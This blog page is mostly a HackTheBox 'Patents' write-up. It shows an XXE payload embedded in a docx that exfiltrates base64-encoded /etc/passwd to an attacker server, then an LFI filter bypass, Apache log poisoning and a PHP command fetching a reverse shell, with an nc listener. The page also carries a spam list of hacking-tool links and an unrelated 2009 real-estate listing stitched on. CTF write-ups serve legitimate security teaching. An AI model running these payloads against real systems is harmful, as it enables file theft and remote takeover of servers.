Twitter Updates

    follow me on Twitter

    List for 4.5% and get 1% cash back on your purchase

    Thursday, August 27, 2020

    XXE In Docx Files And LFI To RCE


    In this article we are going to talk about XXE injection and we will also look at LFI in a little more advanced perspective. I will be performing both of these attacks on a HackTheBox machine called Patents which was a really hard machine. I am not going to show you how to solve the Patents machine rather I will show you how to perform the above mentioned attacks on the box.

    XML External Entity Attack

    Lets start with what an XXE injection means. OWASP has put XXE on number 4 of OWASP Top Ten 2017 and describes XXE in the following words: "An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts."
    What that means is if you have an XML parser which is not properly configured to parse the input data you may end you getting yourself screwed. On the Patents box there is an upload form which lets us upload a word document (docx) and then parses it to convert it into a pdf document. You may be thinking but where is the XML document involved here. Well it turns out that the docx files are made up of multiple XML documents archived together. Read more about it in the article OpenXML in word processing – Custom XML part – mapping flat data. It turns out that the docx2pdf parser of the Patents machine is poorly configured to allow XXE injection attacks but to perform that attack we need to inject out XXE payload in the docx file. First lets upload a simple docx file to the server and see what happens.

    After uploading the file we get a Download option to download the pdf file that was created from our docx file.

    As can be seen, the functionality works as expected.

    Now lets exploit it. What we have to do is that we have to inject our XXE payload in the docx file so that the poorly configured XML parser on the server parses our payload and allows us to exfil data from the server. To do that we will perform these steps.
    1. Extract the docx file.
    2. Embed our payload in the extracted files.
    3. Archive the file back in the docx format.
    4. Upload the file on the server.
    To extract the docx file we will use the unzip Linux command line tool.
    mkdir doc
    cd doc
    unzip ../sample.docx
    Following the article mentioned above we see that we can embed custom XML to the docx file by creating a directory (folder) called customXml inside the extracted folder and add an item1.xml file which will contain our payload.
    mkdir customXml
    cd customXml
    vim item1.xml
    Lets grab an XXE payload from PayloadsAllTheThings GitHub repo and modify it a bit which looks like this:
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://10.10.14.56:8090/dtd.xml">
    %sp;
    %param1;
    ]>
    <r>&exfil;</r>
    Notice the IP address in the middle of the payload, this IP address points to my python server which I'm going to host on my machine shortly on port 8090. The contents of the dtd.xml file that is being accessed by the payload is:
    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.56:8090/dtd.xml?%data;'>">
    What this xml file is doing is that it is requesting the /etc/passwd file on the local server of the XML parser and then encoding the contents of /etc/passwd into base64 format (the encoding is done because that contents of the /etc/passwd file could be something that can break the request). Now lets zip the un-archived files back to the docx file using the zip linux command line tool.
    zip -r sample.docx *
    here -r means recursive and * means all files sample.docx is the output file.
    Lets summarize the attack a bit before performing it. We created a docx file with an XXE payload, the payload will ping back to our server looking for a file named dtd.xml. dtd.xml file will be parsed by the XML parser on the server in the context of the server. Grabbing the /etc/passwd file from the server encoding it using base64 and then sends that base64 encoded data back to us in the request.
    Now lets fire-up our simple http python server in the same directory we kept our dtd.xml file:
    python -m SimpleHTTPServer 8090
    and then upload the file to the server and see if it works.
    We got a hit on our python server from the target server looking for the dtd.xml file and we can see a 200 OK besides the request.
    Below the request for dtd.xml we can see another request which was made by the target server to our server and appended to the end of this request is the base64 encoded data. We grab everything coming after the ? of the request and copy it to a file say passwd.b64 and after that we use the base64 linux command line tool to decode the base64 data like this:
    cat passwd.64 | base64 -d > passwd
    looking at the contents of passwd file we can confirm that it is indeed the /etc/passwd file from the target server. Now we can exfiltrate other files as well from the server but remember we can only exfiltrate those files from the server to which the user running the web application has read permissions. To extract other files we simple have to change the dtd.xml file, we don't need to change our docx file. Change the dtd.xml file and then upload the sample.docx file to the server and get the contents of another file.

    LFI to RCE

    Now getting to the part two of the article which is LFI to RCE, the box is also vulnerable to LFI injection you can read about simple LFI in one of my previous article Learning Web Pentesting With DVWA Part 6: File Inclusion, in this article we are going a bit more advanced. The URL that is vulnerable to LFI on the machine is:
    http://10.10.10.173/getPatent_alphav1.0.php

    We can use the id parameter to view the uploaded patents like this:
    http://10.10.10.173/getPatent_alphav1.0.php?id=1

    The patents are basically local document files on the server, lets try to see if we can read other local files on the server using the id parameter. We try our LFI payloads and it doesn't seem to work.

    Maybe its using a mechanism to prevent LFI attacks. After reading the source for getPatent_alphav1.0.php from previous vulnerability we can see it is flagging ../ in the request. To bypass that restriction we will use ..././, first two dots and the slash will be removed from ..././ and what will be left is ../, lets try it out:
    http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././etc/passwd

    Wohoo! we got it but now what? To get an RCE we will check if we can access the apache access log file
    http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log
    As we can see we are able to access the apache access log file lets try to get an RCE via access logs. How this works is basically simple, the access.log file logs all the access requests to the apache server. We will include php code in our request to the server, this malicious request will be logged in the access.log file. Then using the LFI we will access the access.log file. As we access the access.log file via the LFI, the php code in our request will be executed and we will have an RCE. First lets grab a php reverse shell from pentest monkey's GitHub repo, modify the ip and port variables  to our own ip and port, and put it into the directory which our python server is hosting. I have renamed the file to shell.php for simplicity here.
    Lets setup our reverse shell listener:
    nc -lvnp 9999
    and then perfrom a request to the target server with our php code like this:
    curl "http://10.10.10.173/<?php system('curl\$\{IFS\}http://10.10.14.56:8090/shell.php');?>"
    and lastly lets access the apache access.log file via the LFI on the target server:
    http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log3
    Boom! we have a shell.

    That's it for today's article see you next time.

    References

    Continue reading


    1. Top Pentest Tools
    2. Pentest Tools Website
    3. Hacker Tools Hardware
    4. What Are Hacking Tools
    5. Bluetooth Hacking Tools Kali
    6. Hack Tools For Pc
    7. Hacking Tools For Games
    8. Hacking Tools For Pc
    9. Hacker Tools For Mac
    10. Hacking Tools 2020
    11. How To Install Pentest Tools In Ubuntu
    12. Easy Hack Tools
    13. Hacker Tools For Pc
    14. Hacker Tools Apk Download
    15. Hacker Tools For Pc
    16. Pentest Tools For Ubuntu
    17. New Hack Tools
    18. Hacking Tools Usb
    19. Hack Tools 2019
    20. Hack Tools Online
    21. Hack Tools Pc
    22. Hacking Tools Windows
    23. Pentest Tools Kali Linux
    24. Hacker Tools Software
    25. How To Make Hacking Tools
    26. Hacker Tools For Windows
    27. Pentest Recon Tools
    28. Hack Tools For Windows
    29. Pentest Tools Linux
    30. Pentest Tools Kali Linux
    31. Best Hacking Tools 2019
    32. Pentest Tools For Android
    33. Pentest Tools Kali Linux
    34. How To Hack
    35. Pentest Tools Apk
    36. Hacking Tools Kit
    37. Pentest Tools Download
    38. Beginner Hacker Tools
    39. Pentest Tools Download
    40. Hacker Tools Software
    41. Hacking Tools And Software
    42. Hackers Toolbox
    43. Ethical Hacker Tools
    44. Pentest Tools For Windows
    45. Hacker Tools List
    46. Pentest Tools Port Scanner
    47. Pentest Tools Tcp Port Scanner
    48. Computer Hacker
    49. Hacking Tools For Kali Linux
    50. Hacker Tools Mac
    51. Game Hacking
    52. Hacker Tool Kit
    53. Pentest Tools List
    54. Pentest Tools Find Subdomains
    55. Pentest Tools Bluekeep
    56. Hacking Tools For Games
    57. Pentest Tools Linux
    58. Black Hat Hacker Tools
    59. Black Hat Hacker Tools
    60. Hacking Tools For Games

    No comments:

    Post a Comment

    Home for sale- $2,000 rebate!

    Ready Real Estate slide show

    Become a fan of my page

    Sheree Dutton, Reatlor, DFW, Texas on Facebook
    Powered By Blogger

    Pandora Faves

    Back on the market, price reduced, 1% cash back rebate offered

    Sheree Dutton | Ready Real Estate | 817-975-0461
    222 Birchwood, Azle, TX
    Back on the market, price reduced and 15 cash back rebate offered!
    3BR/2BA Single Family House
    offered at $102,500
    Year Built 2006
    Sq Footage 1,142
    Bedrooms 3
    Bathrooms 2 full, 0 partial
    Floors 1
    Parking 3 Covered spaces
    Lot Size .225 acres
    HOA/Maint $0 per month

    DESCRIPTION


    Wow, talk about pride of ownership! This house has too many upgrades to count, and is so well cared for. You must see it to believe it! A lot of value in this perfect starter home.

    OPEN HOUSE SUNDAY MAY 3RD 2+5 pm

    see additional photos below
    PROPERTY FEATURES

    - Central A/C - Central heat - Fireplace
    - High/Vaulted ceiling - Walk-in closet - Tile floor
    - Living room - Breakfast nook - Dishwasher
    - Refrigerator - Stove/Oven - Microwave
    - Laundry area - inside - Balcony, Deck, or Patio - Yard

    OTHER SPECIAL FEATURES

    - 1 car garage, covered carport for 2 cars
    - covered wood deck in backyard
    - gutters
    - storage shed
    - newly stained wood fence
    - electric fireplace added, with tile hearth
    - upgraded ceiling fans and light fixtures
    - island in kitchen

    ADDITIONAL PHOTOS


    Fantastic curb appeal

    covered wood deck in back

    living room

    kitchen with island

    breakfast nook

    master bedroom
    Contact info:
    Sheree Dutton
    Ready Real Estate
    817-975-0461
    For sale by agent/broker

    powered by postlets Equal Opportunity Housing
    Posted: Sep 11, 2009, 7:31am PDT

    Blog Archive